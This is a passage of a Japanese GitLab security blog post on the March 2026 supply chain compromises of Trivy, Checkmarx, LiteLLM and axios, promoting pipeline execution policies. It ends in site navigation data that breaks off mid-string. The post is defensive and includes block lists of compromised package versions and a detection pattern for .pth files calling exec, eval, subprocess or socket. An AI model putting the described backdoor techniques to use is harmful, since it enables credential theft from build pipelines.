5件のインシデントを通じて、3つの明確な攻撃パターンが浮かび上がってきます。いずれもCI/CDパイプラインがその入力に対して暗黙的に持つ信頼を悪用するものです。\n\n\n    ### パターン1：汚染されたツールとアクション\n\n\n    TeamPCPのキャンペーンは、ある根本的な前提を突いていました。それは、パイプライン*内*で実行されるセキュリティツール自体は信頼できるという思い込みです。GitHubアクションのタグやPyPIパッケージのバージョンが悪意のあるコードに解決された場合、パイプラインはそれを環境シークレット、クラウド認証情報、デプロイトークンへのフルアクセス権限で実行してしまいます。パイプラインはタグを信頼するため、検証ステップが存在しないのです。\n\n\n    **推奨されるパイプラインレベルの対策：** 可変バージョンタグではなく、不変の参照（コミットSHAまたはイメージダイジェスト）にツールとアクションをピン留めしてください。ピン留めが現実的でない場合は、既知の正常なチェックサムまたは署名に対してツールと依存関係の整合性を検証してください。検証に失敗した場合は実行をブロックします。\n\n\n    ### パターン2：知的財産（IP）を漏洩するパッケージング設定ミス\n\n\n    設定ミスのあるビルドパイプラインが、デバッグ成果物をそのまま本番パッケージに含めて出荷してしまいました。`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあれば十分です。公開前の検証ステップを設けておけば、こうした問題は毎回防ぐことができます。\n\n\n    **推奨されるパイプラインレベルの対策：** パッケージを公開する前に、パッケージの内容を許可リストに対して検証し、予期しないファイル（ソースマップ、内部設定ファイル、.envファイル）をフラグとして検出し、チェックに失敗した場合は公開ステップをブロックする自動チェックを実行してください。\n\n\n    ### パターン3：推移的依存関係の脆弱性\n\n\n    axiosへの攻撃は、axiosを直接使用しているユーザーだけでなく、依存関係ツリーが侵害されたバージョンに解決されるすべてのユーザーを標的にしました。ロックファイル内で一度依存関係が汚染されると、組織全体のビルドインフラに波及する可能性があります。\n\n\n    **推奨されるパイプラインレベルの対策：** 依存関係のチェックサムを既知の正常なロックファイルの状態と比較してください。予期しない新しい依存関係やバージョン変更を検出し、未検証のパッケージを導入するビルドをブロックします。\n\n\n    ## GitLabパイプライン実行ポリシーによる各攻撃パターンへの対処\n\n\n    GitLabパイプライン実行ポリシー（[PEP](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)）は、セキュリティチームおよびプラットフォームチームが、開発者が`.gitlab-ci.yml`で定義した内容に関わらず、組織全体のすべてのパイプラインに必須のCI/CDジョブを注入できる仕組みです。PEPで定義されたジョブは、`[skip ci]`や`[no_pipeline]`ディレクティブを使ってもスキップできません。ジョブは開発者のパイプラインを前後から挟む*予約済み*ステージ（`.pipeline-policy-pre`および`.pipeline-policy-post`）で実行できます。\n\n\n    3つのパターンすべてに対応するパイプライン実行ポリシーをオープンソースプロジェクトとして公開しています：[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)。これらのポリシーは独立してデプロイ可能で、それぞれテスト用の違反サンプルが同梱されています。各ポリシーの仕組みをご紹介します。\n\n\n    ### ユースケース1：パッケージ公開時の意図しない情報露出を防ぐ\n\n\n    **問題：** ビルドパイプラインが公開時の検証をスキップしたため、ソースマップファイルがAIコーディングツールのnpmパッケージに含まれてしまいました。\n\n\n    **PEPによるアプローチ：** この種のエラーに特化したオープンソースのパイプライン実行ポリシーを作成しました：[Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads)。\n\n\n    このポリシーは、公開ステップが実行される前に、アーティファクトタイプ（npmパッケージ、Dockerイメージ、またはHelmチャート）を自動検出してその内容を検査する`.pipeline-policy-pre`ジョブを注入します。npmパッケージに対しては、3つのチェックを実行します。\n\n\n    1. **ファイルパターンのブロックリスト。** npm packの出力をスキャンし、ソースマップ（.map）、テストディレクトリ、ビルド設定、IDE設定、src/ディレクトリを検出します。\n\n    2. **パッケージサイズゲート。** AIツールを流出させた59.8 MBパッケージのように、50 MBを超えるパッケージをブロックします。\n\n    3. **sourceMappingURLスキャン。** 外部URL（大手AI企業のソースコードを露出させたR2バケットのパターン）、インラインのdata: URI、JavaScriptバンドルに埋め込まれたローカルファイル参照を検出します。\n\n\n    違反が検出されると、パイプラインは失敗したCIジョブのログに明確なレポートを出力して終了します。\n\n\n    ```text\n\n    =============================================\n\n    FAILED: 3 violation(s) found\n\n    =============================================\n\n    BLOCKED: dist/index.js.map (matched: \\.map$)\n\n    BLOCKED: dist/index.js contains external sourceMappingURL\n\n    BLOCKED: dist/utils.js contains inline sourceMappingURL\n\n\n    This check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n\n    ```\n\n\n    このポリシーには、ユーザーが設定できるCI変数はありません。開発者が無効化したり回避したりすることはできません。例外はポリシーレベルでセキュリティチームが管理するため、意図的なプロセスと明確な監査証跡が確保されます。\n\n\n    リポジトリには意図的な違反を含むテストプロジェクト（examples/leaky-npm-package/）が含まれており、組織にデプロイする前にポリシーの動作を確認できます。[README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md)には、セットアップとデプロイの完全なクイックスタートガイドが含まれています。\n\n\n    **検出できる問題：** これらのコントロールのどれか1つでもあれば、AI企業のソースコード流出は防げていた可能性があります。\n\n\n    * ソースマップファイルはファイルパターンのブロックリストに引っかかります。\n\n    * 59.8 MBというサイズはサイズゲートに引っかかります。\n\n    * 外部R2バケットを指すsourceMappingURLはURLスキャンに引っかかります。\n\n\n    ### ユースケース2：依存関係の改ざんとロックファイル操作を検出する\n\n\n    **問題：** axiosへの攻撃では、インストール時にRATを実行する悪意のある推移的依存関係（`plain-crypto-js`）が導入されました。侵害が行われた期間中にnpm installを実行したすべての人がトロイの木馬を取り込んでしまいました。\n\n\n    **PEPによるアプローチ：** [Dependency Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml)は、パッケージエコシステム（npmまたはPython）を自動検出し、3つのチェックを実行する.pipeline-policy-preジョブを注入します。\n\n\n    **npmプロジェクトの場合**（`package-lock.json`、`yarn.lock`、または`pnpm-lock.yaml`によってトリガー）：\n\n\n    1. **ロックファイルの整合性。** `npm ci --ignore-scripts`を実行します。`node_modules`の内容がロックファイルの指定と異なる場合、失敗します。これにより、package.jsonは更新されたがロックファイルが再生成されていないケースを検出し、SRIインテグリティハッシュも検証します。\n\n    2. **ブロックパッケージスキャン。** ロックファイルの完全な依存関係ツリーを、侵害が確認済みのパッケージバージョンのGitLab管理リストである`blocked-packages.yml`と照合します。同梱のブロックリストには`axios@1.14.1`、`axios@0.30.4`、`plain-crypto-js@4.2.1`が含まれています。\n\n    3. **未宣言の依存関係の検出。** インストール後、node_modulesの内容をロックファイルと比較します。ディスク上に存在するがロックファイルに存在しないパッケージは改ざんの証拠です（例：追加パッケージを取得する侵害されたpostinstallスクリプト）。\n\n\n    **Pythonプロジェクトの場合**（`requirements.txt`、`Pipfile.lock`、`poetry.lock`、または`uv.lock`によってトリガー）：\n\n\n    1. **ロックファイルの整合性。** 分離された仮想環境にインストールし、ロックファイルからのインストールが成功することを確認します。\n\n    2. **ブロックパッケージスキャン。** 同じブロックリストのアプローチです。同梱リストには`litellm==1.82.7`および`litellm==1.82.8`が含まれています。\n\n    3. **.pthファイルの検出。** site-packagesの`.pth`ファイルをスキャンし、実行可能なコードパターン（`import os`、`exec(`、`eval(`、`__import__`、`subprocess`、`socket`）を検出します。これはLiteLLMバックドアが使用したまさにその仕組みです。\n\n\n    違反が検出されると：\n\n\n    ```text\n\n    =============================================\n\n    FAILED: 1 violation(s) found\n\n    =============================================\n\n    BLOCKED: axios@1.14.1 is a known-compromised package\n\n\n    This check is enforced by a Pipeline Execution Policy.\n\n    ```\n\n\n    このポリシーは*ストリクトモード*で動作します。コミット済みのロックファイルに存在しない依存関係は、パイプラインをブロックします。開発者が依存関係を追加する必要がある場合は、更新されたロックファイルをコミットします。ポリシーはインストールされたバージョンがコミットされたバージョンと一致することを確認します。コミットされていないものが現れた場合（例：侵害されたアップストリームパッケージ経由で注入された推移的依存関係）、パイプラインはブロックされます。\n\n\n    **検出できる問題：** `plain-crypto-js`という新規かつ未確認の依存関係の導入は、未宣言の依存関係チェックによってフラグが立てられます。`axios@1.14.1`バージョンはブロックパッケージスキャンによって検出されます。LiteLLMの`.pth`ファイルは`.pth`検出チェックによって検出されます。各攻撃に対して、少なくとも1つ、多くの場合は2つの独立した検出シグナルがあります。\n\n\n    ### ユースケース3：侵害されたツールを実行前に検出・ブロックする\n\n\n    **問題：** TeamPCPは、信頼できるTrivyとCheckmarxのGitHubアクションタグを悪意のあるバージョンに置き換えました。これらのタグを参照するパイプラインはすべて、認証情報を窃取するマルウェアを実行してしまいました。\n\n\n    **PEPによるアプローチ：** [Tool Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml)は、GitLab CI Lint API（またはフォールバックとして`.gitlab-ci.yml`を評価する仕組み）にクエリを発行し、コンテナイメージの参照を抽出して、セキュリティチームが管理する承認済みイメージ許可リストと照合する`.pipeline-policy-pre`ジョブを注入します。\n\n\n    許可リスト（`approved-images.yml`）は、イメージごとに3つの制御をサポートしています。\n\n\n    **承認済みリポジトリ：** リスト上のリポジトリからのイメージのみが許可されます。未知のリポジトリはパイプラインをブロックします。\n\n\n    **許可されているタグ：** 承認済みリポジトリ内でも、特定のタグのみが許可されます。これにより、未テストバージョンへの移行を防ぎます。\n\n\n    **ブロックされているタグ：** リポジトリが承認済みであっても、既知の侵害バージョンを明示的にブロックできます。同梱の許可リストは、TeamPCPがトロイの木馬化した正確なバージョンである`aquasec/trivy:0.69.4`から`0.69.6`をブロックします。\n\n\n    違反が検出されると、他のジョブが実行される前にパイプラインが失敗します。\n\n\n    ```text\n\n    =============================================\n\n    FAILED: 1 violation(s) found\n\n    =============================================\n\n    BLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n     - tag '0.69.4' is known-compromised\n\n    This check is enforced by a Pipeline Execution Policy.\n\n    ```\n\n\n    許可リストは、ポリシープロジェクトに対するMRを通じて管理されます。新しい承認済みイメージを追加するには、セキュリティチームがMRを開きます。新たな侵害への対応には、ブロックするタグを追加するだけです。コードの変更は不要で、YAMLだけで管理できます。\n\n\n    **検出できる問題：** 未承認のタグを持つイメージが検出されると、ポリシーはイメージのリポジトリ名とタグを許可リストと照合します。一致しない場合、スキャナーが実行される前にパイプラインをブロックし、認証情報の外部送信を防ぎます。\n\n\n    *注：上記のサンプルを拡張することで、PEPをタグではなくダイジェストへのピン留めを強制するために使用できます。これはforce pushに対して耐性があります。このサンプルは、より基本的なタグベースの適用パターンを示しています。*\n\n\n    ## PEPを超えて：GitLabのサプライチェーン防御\n\n\n    パイプライン実行ポリシーは適用のレイヤーですが、サプライチェーン保護において多層防御（defense-in-depth）戦略の一部として機能するときに最大の効果を発揮します。GitLabは、サプライチェーン保護においてPEPを補完するいくつかの機能を提供しています。\n\n\n    ### シークレット検出\n\n\n    [GitLabのシークレット検出](https://docs.gitlab.com/ja-jp/user/application_security/secret_detection/)は、認証情報がそもそもリポジトリに入り込むことを防ぎ、侵害されたパイプラインツールが収集できる情報を大幅に削減します。2026年3月の攻撃の文脈では：\n\n\n    * リポジトリに保存された認証情報は、攻撃者にとって発見しやすく、ローテーションも遅くなります。Trivyのインシデントでは、ローテーションプロセス自体も悪用されました。Aqua Securityのローテーションはアトミックではなく、攻撃者は古いトークンが完全に失効する前に新たに発行されたトークンを取得しました。GitLabのシークレット検出には、漏洩したGitLabトークンの自動失効機能と、サードパーティプロバイダーへの認証情報失効通知を行うパートナーAPIが含まれており、侵害発生時の対応を迅速化します。\n\n    * シークレット検出と適切なシークレット管理（短命トークン、Vault基盤の認証情報、パイプラインシークレットへの最小限の露出）を組み合わせることで、信頼済みツールが悪意を持つ動作をした場合でも、攻撃者がアクセスできる範囲を制限します。\n\n\n    ### ソフトウェアコンポジション解析（SCA）による依存関係スキャン\n\n\n    GitLabの[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/)は、ロックファイルとマニフェストを解析することで、プロジェクトの依存関係における既知の脆弱性を特定します。2026年3月の攻撃の文脈では：\n\n\n    * LiteLLMについては、侵害されたバージョン（1.82.7、1.82.8）がGitLabのアドバイザリデータベースで追跡されており、影響を受けるPythonプロジェクトに自動的にフラグを立てます。\n\n    * axiosについては、依存関係スキャンが組織内のすべてのプロジェクトで侵害されたバージョン（1.14.1、0.30.4）を特定し、セキュリティチームに影響範囲の評価と認証情報ローテーションの優先順位付けのための一元的なビューを提供します。\n\n    * 同様に、TeamPCPのCanisterWorm伝播によって侵害されたすべてのnpmパッケージも、使用されている場合はフラグが立てられます。\n\n\n    [GitLabコンテナスキャン](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)は、デプロイメントで使用される脆弱なコンテナイメージを検出します。Trivyの侵害については、コンテナスキャンがコンテナレジストリまたはデプロイメントマニフェストに現れたトロイの木馬化されたTrivyのDockerイメージ（0.69.4〜0.69.6）にフラグを立てます。\n\n\n    ### マージリクエスト承認ポリシー\n\n\n    [マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、依存関係のロックファイルやCI/CD設定への変更がマージされる前にセキュリティチームの承認を必須とすることができます。これにより、サプライチェーン攻撃が一般的に導入する種類の変更に対して、人間によるチェックポイントが確保されます。\n\n\n    ### 近日公開予定：依存関係ファイアウォール、アーティファクトレジストリ、SLSAレベル3の認証と検証\n\n\n    今後予定されているGitLabのサプライチェーンセキュリティ機能は、レジストリとパイプラインという2つの重要なコントロールポイントにおけるポリシー適用を強化します。依存関係ファイアウォールとアーティファクトレジストリは非準拠のパッケージをブロックし、SLSAレベル3の認証によってアーティファクトが承認されたパイプラインで生成され、改ざんされていないという暗号学的な証明が提供されます。これらを組み合わせることで、セキュリティチームはソフトウェアサプライチェーンへの入出力を検証可能な形で管理できるようになります。\n\n\n    ## あなたの組織にとっての意味\n\n\n    AI支援型の脅威が高まる中、CI/CDパイプラインへの攻撃はますます一般的になっています。TeamPCPのキャンペーンは、1つの侵害された認証情報が信頼済みツールのエコシステム全体にどう波及するかを示しています。\n\n\n    影響を受けたコンポーネントを使用していた場合は、すべてのパイプラインシークレットが露出したという前提で行動してください。直ちにローテーションし、永続的なバックドアがないかシステムを監査してください。いずれの場合も、認証情報を定期的にローテーションし、短命トークンを使用することで、将来の侵害のブラスト半径を制限できます。\n\n\n    推奨事項をまとめます：\n\n\n    1. **可能な限り、依存関係をチェックサムにピン留めしてください。** TeamPCPが悪用した可変バージョンタグは、セキュリティ境界ではありません。すべての[CI/CDコンポーネント](https://docs.gitlab.com/ja-jp/ci/components/#manage-dependencies)、アクション、コンテナイメージにはSHAピン留め参照を使用してください。\n\n    2. **実行前の整合性チェックを実行してください。** パイプライン実行ポリシーを使用して、パイプラインジョブが実行される*前*にツールと依存関係の整合性を確認してください。これが`.pipeline-policy-pre`ステージです。\n\n    3. **公開するものを監査してください。** すべてのパッケージ公開ステップには、アーティファクトの内容を自動検証する処理を含めてください。ソースマップ、環境ファイル、内部設定はビルド環境から外部に出すべきではありません。[Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、npm、Docker、Helmアーティファクトのすぐにデプロイできる出発点を提供しています。\n\n    4. **依存関係のドリフトを検出してください。** すべてのパイプライン実行において、依存関係の解決結果をコミット済みロックファイルと比較してください。予期しない新しい依存関係を監視します。\n\n    5. **ポリシー管理を集中化してください。** セキュリティチェックを含めることを開発者の記憶に頼らないでください。開発者が削除やスキップをできないポリシーを通じて、グループまたはインスタンスレベルで適用してください。\n\n    6. **セキュリティツール自体が標的になると想定してください。** 脆弱性スキャナー、静的アプリケーションセキュリティテスト（SAST）ツール、AIゲートウェイは侵害される可能性があります。各ツールの権限は最低限必要なものに限定し、その他へのアクセスが不可能であることを確認してください。\n\n\n    ## GitLabでパイプラインを保護する\n\n\n    2週間にわたり、攻撃者はソフトウェア開発エコシステムで最も広く採用されているツールの一部を使用している組織の本番パイプラインを侵害しました。\n\n\n    教訓は明確です。ビルドパイプラインには、ネットワークやクラウドインフラに適用するのと同じレベルの集中管理されたポリシー駆動の保護が必要です。\n\n\n    GitLabパイプライン実行ポリシーは、その適用レイヤーを提供します。個々のプロジェクト設定に関わらず、すべてのプロジェクトのすべてのパイプラインでセキュリティチェックが実行されることを保証します。依存関係スキャン、シークレット検出、マージリクエスト承認ポリシーと組み合わせることで、2026年3月に見られたクラスの攻撃をブロック、検出、封じ込めることができます。\n\n\n    [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、大手AI企業の流出事故の背後にある種類のエラーを正確に検出する、動作するパイプライン実行ポリシーを提供しています。npmパッケージ、Dockerイメージ、Helmチャートに対応しています。クローンして、グループにデプロイし、今後のサプライチェーン攻撃に備えてすべてのパイプラインを準備してください。\n\n\n    集中管理されたパイプラインポリシーを始めるには、[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/devsecops/)にサインアップしてください。\n\n\n    *このブログ記事には、1933年証券法第27A条（改正済み）および1934年証券取引法第21E条の意味における「将来の見通しに関する記述」が含まれています。これらの記述に反映された予想は合理的であると信じておりますが、実際の結果や成果を大幅に異なるものにする可能性のある既知および未知のリスク、不確実性、前提条件、その他の要素の影響を受けることがあります。これらのリスクおよびその他の要素に関するさらなる情報は、SECへの提出書類の「リスク要因」という見出しの下に記載されています。法律で要求される場合を除き、このブログ投稿の日付以降にこれらの記述を更新または修正する義務を負いません。*\n  authors:\n    - Grant Hickman\n  updatedDate: 2026-04-10\n  date: 2026-04-07\n  title: 3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ\n  tags:\n    - security\n    - product\n    - tutorial\n    - features\n  description: 2026年3月、Trivy・Checkmarx\n    KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。\n  category: security-labs\nconfig:\n  featured: false\n  template: BlogPost\n  slug: pipeline-security-lessons-from-march-supply-chain-incidents\n",{"config":34,"title":5,"description":26,"ogImage":35},{"noIndex":13},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772630163/akp8ly2mrsfrhsb0liyb.webp","ja-jp/blog/pipeline-security-lessons-from-march-supply-chain-incidents",[22,23,24,25],[22,23,24,25],"nnpgFCmLhoz04dTCY2t3ZfNcXovDwAYxsUNWbOzLTbM",{"data":41},{"logo":42,"freeTrial":47,"sales":52,"login":57,"items":62,"search":371,"minimal":404,"duo":421,"switchNav":430,"pricingDeployment":441},{"config":43},{"href":44,"dataGaName":45,"dataGaLocation":46},"/ja-jp/","gitlab logo","header",{"text":48,"config":49},"無料トライアルを開始",{"href":50,"dataGaName":51,"dataGaLocation":46},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":53,"config":54},"お問い合わせ",{"href":55,"dataGaName":56,"dataGaLocation":46},"/ja-jp/sales/","sales",{"text":58,"config":59},"サインイン",{"href":60,"dataGaName":61,"dataGaLocation":46},"https://gitlab.com/users/sign_in/","sign in",[63,90,187,192,293,353],{"text":64,"config":65,"cards":67},"プラットフォーム",{"dataNavLevelOne":66},"platform",[68,74,82],{"title":64,"description":69,"link":70},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":71,"config":72},"プラットフォームを探索",{"href":73,"dataGaName":66,"dataGaLocation":46},"/ja-jp/platform/",{"title":75,"description":76,"link":77},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":78,"config":79},"GitLab Duoのご紹介",{"href":80,"dataGaName":81,"dataGaLocation":46},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":83,"description":84,"link":85},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":86,"config":87},"詳細はこちら",{"href":88,"dataGaName":89,"dataGaLocation":46},"/ja-jp/why-gitlab/","why gitlab",{"text":91,"left":30,"config":92,"link":94,"lists":98,"footer":169},"製品",{"dataNavLevelOne":93},"solutions",{"text":95,"config":96},"すべてのソリューションを表示",{"href":97,"dataGaName":93,"dataGaLocation":46},"/ja-jp/solutions/",[99,124,147],{"title":100,"description":101,"link":102,"items":107},"自動化","CI/CDと自動化でデプロイを加速",{"config":103},{"icon":104,"href":105,"dataGaName":106,"dataGaLocation":46},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[108,112,115,120],{"text":109,"config":110},"CI/CD",{"href":111,"dataGaLocation":46,"dataGaName":109},"/ja-jp/solutions/continuous-integration/",{"text":75,"config":113},{"href":80,"dataGaLocation":46,"dataGaName":114},"gitlab duo agent platform - product menu",{"text":116,"config":117},"ソースコード管理",{"href":118,"dataGaLocation":46,"dataGaName":119},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":121,"config":122},"自動化されたソフトウェアデリバリー",{"href":105,"dataGaLocation":46,"dataGaName":123},"Automated software delivery",{"title":125,"description":126,"link":127,"items":132},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":128},{"href":129,"dataGaName":130,"dataGaLocation":46,"icon":131},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[133,137,142],{"text":134,"config":135},"アプリケーションセキュリティテスト",{"href":129,"dataGaName":136,"dataGaLocation":46},"Application security testing",{"text":138,"config":139},"ソフトウェアサプライチェーンの安全性",{"href":140,"dataGaLocation":46,"dataGaName":141},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":143,"config":144},"ソフトウェアコンプライアンス",{"href":145,"dataGaName":146,"dataGaLocation":46},"/ja-jp/solutions/software-compliance/","software compliance",{"title":148,"link":149,"items":154},"測定",{"config":150},{"icon":151,"href":152,"dataGaName":153,"dataGaLocation":46},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[155,159,164],{"text":156,"config":157},"可視性と測定",{"href":152,"dataGaLocation":46,"dataGaName":158},"Visibility and Measurement",{"text":160,"config":161},"バリューストリーム管理",{"href":162,"dataGaLocation":46,"dataGaName":163},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":165,"config":166},"分析とインサイト",{"href":167,"dataGaLocation":46,"dataGaName":168},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":170,"items":171},"GitLabが活躍する場所",[172,177,182],{"text":173,"config":174},"大企業",{"href":175,"dataGaLocation":46,"dataGaName":176},"/ja-jp/enterprise/","enterprise",{"text":178,"config":179},"スモールビジネス",{"href":180,"dataGaLocation":46,"dataGaName":181},"/ja-jp/small-business/","small business",{"text":183,"config":184},"公共部門",{"href":185,"dataGaLocation":46,"dataGaName":186},"/ja-jp/solutions/public-sector/","public sector",{"text":188,"config":189},"価格",{"href":190,"dataGaName":191,"dataGaLocation":46,"dataNavLevelOne":191},"/ja-jp/pricing/","pricing",{"text":193,"config":194,"link":196,"lists":200,"feature":280},"リソース",{"dataNavLevelOne":195},"resources",{"text":197,"config":198},"すべてのリソースを表示",{"href":199,"dataGaName":195,"dataGaLocation":46},"/ja-jp/resources/",[201,234,252],{"title":202,"items":203},"はじめに",[204,209,214,219,224,229],{"text":205,"config":206},"インストール",{"href":207,"dataGaName":208,"dataGaLocation":46},"/ja-jp/install/","install",{"text":210,"config":211},"クイックスタートガイド",{"href":212,"dataGaName":213,"dataGaLocation":46},"/ja-jp/get-started/","quick setup checklists",{"text":215,"config":216},"学ぶ",{"href":217,"dataGaLocation":46,"dataGaName":218},"https://university.gitlab.com/","learn",{"text":220,"config":221},"製品ドキュメント",{"href":222,"dataGaName":223,"dataGaLocation":46},"https://docs.gitlab.com/ja-jp/","product documentation",{"text":225,"config":226},"ベストプラクティスビデオ",{"href":227,"dataGaName":228,"dataGaLocation":46},"/ja-jp/getting-started-videos/","best practice videos",{"text":230,"config":231},"インテグレーション",{"href":232,"dataGaName":233,"dataGaLocation":46},"/ja-jp/integrations/","integrations",{"title":235,"items":236},"検索する",[237,242,247],{"text":238,"config":239},"お客様成功事例",{"href":240,"dataGaName":241,"dataGaLocation":46},"/ja-jp/customers/","customer success stories",{"text":243,"config":244},"ブログ",{"href":245,"dataGaName":246,"dataGaLocation":46},"/ja-jp/blog/","blog",{"text":248,"config":249},"リモート",{"href":250,"dataGaName":251,"dataGaLocation":46},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":253,"items":254},"つなげる",[255,260,265,270,275],{"text":256,"config":257},"GitLabサービス",{"href":258,"dataGaName":259,"dataGaLocation":46},"/ja-jp/services/","services",{"text":261,"config":262},"コミュニティ",{"href":263,"dataGaName":264,"dataGaLocation":46},"/community/","community",{"text":266,"config":267},"フォーラム",{"href":268,"dataGaName":269,"dataGaLocation":46},"https://forum.gitlab.com/","forum",{"text":271,"config":272},"イベント",{"href":273,"dataGaName":274,"dataGaLocation":46},"/events/","events",{"text":276,"config":277},"パートナー",{"href":278,"dataGaName":279,"dataGaLocation":46},"/ja-jp/partners/","partners",{"background":281,"textColor":282,"text":283,"image":284,"link":288},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":285,"config":286},"ソースプロモカード",{"src":287},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":289,"config":290},"最新情報を読む",{"href":291,"dataGaName":292,"dataGaLocation":46},"/ja-jp/the-source/","the source",{"text":294,"config":295,"lists":297},"会社情報",{"dataNavLevelOne":296},"company",[298],{"items":299},[300,305,311,313,318,323,328,333,338,343,348],{"text":301,"config":302},"GitLabについて",{"href":303,"dataGaName":304,"dataGaLocation":46},"/ja-jp/company/","about",{"text":306,"config":307,"footerGa":310},"採用情報",{"href":308,"dataGaName":309,"dataGaLocation":46},"/jobs/","jobs",{"dataGaName":309},{"text":271,"config":312},{"href":273,"dataGaName":274,"dataGaLocation":46},{"text":314,"config":315},"経営陣",{"href":316,"dataGaName":317,"dataGaLocation":46},"/company/team/e-group/","leadership",{"text":319,"config":320},"チーム",{"href":321,"dataGaName":322,"dataGaLocation":46},"/company/team/","team",{"text":324,"config":325},"ハンドブック",{"href":326,"dataGaName":327,"dataGaLocation":46},"https://handbook.gitlab.com/","handbook",{"text":329,"config":330},"投資家向け情報",{"href":331,"dataGaName":332,"dataGaLocation":46},"https://ir.gitlab.com/","investor relations",{"text":334,"config":335},"トラストセンター",{"href":336,"dataGaName":337,"dataGaLocation":46},"/ja-jp/security/","trust center",{"text":339,"config":340},"AI Transparency Center",{"href":341,"dataGaName":342,"dataGaLocation":46},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":344,"config":345},"ニュースレター",{"href":346,"dataGaName":347,"dataGaLocation":46},"/company/contact/#contact-forms","newsletter",{"text":349,"config":350},"プレス",{"href":351,"dataGaName":352,"dataGaLocation":46},"/press/","press",{"text":53,"config":354,"lists":355},{"dataNavLevelOne":296},[356],{"items":357},[358,361,366],{"text":53,"config":359},{"href":55,"dataGaName":360,"dataGaLocation":46},"talk to sales",{"text":362,"config":363},"サポートを受ける",{"href":364,"dataGaName":365,"dataGaLocation":46},"https://support.gitlab.com","support portal",{"text":367,"config":368},"カスタマーポータル",{"href":369,"dataGaName":370,"dataGaLocation":46},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":372,"login":373,"suggestions":380},"閉じる",{"text":374,"link":375},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":376,"config":377},"GitLab.com",{"href":60,"dataGaName":378,"dataGaLocation":379},"search login","search",{"text":381,"default":382},"提案",[383,385,390,392,396,400],{"text":75,"config":384},{"href":80,"dataGaName":75,"dataGaLocation":379},{"text":386,"config":387},"コード提案（AI）",{"href":388,"dataGaName":389,"dataGaLocation":379},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":109,"config":391},{"href":111,"dataGaName":109,"dataGaLocation":379},{"text":393,"config":394},"GitLab on AWS",{"href":395,"dataGaName":393,"dataGaLocation":379},"/ja-jp/partners/technology-partners/aws/",{"text":397,"config":398},"GitLab on Google Cloud",{"href":399,"dataGaName":397,"dataGaLocation":379},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":401,"config":402},"GitLabを選ぶ理由",{"href":88,"dataGaName":403,"dataGaLocation":379},"Why GitLab?",{"freeTrial":405,"mobileIcon":409,"desktopIcon":414,"secondaryButton":417},{"text":48,"config":406},{"href":407,"dataGaName":51,"dataGaLocation":408},"https://gitlab.com/-/trials/new/","nav",{"altText":410,"config":411},"GitLabアイコン",{"src":412,"dataGaName":413,"dataGaLocation":408},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":410,"config":415},{"src":416,"dataGaName":413,"dataGaLocation":408},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":202,"config":418},{"href":419,"dataGaName":420,"dataGaLocation":408},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":422,"mobileIcon":426,"desktopIcon":428},{"text":423,"config":424},"GitLab Duoの詳細について",{"href":80,"dataGaName":425,"dataGaLocation":408},"gitlab 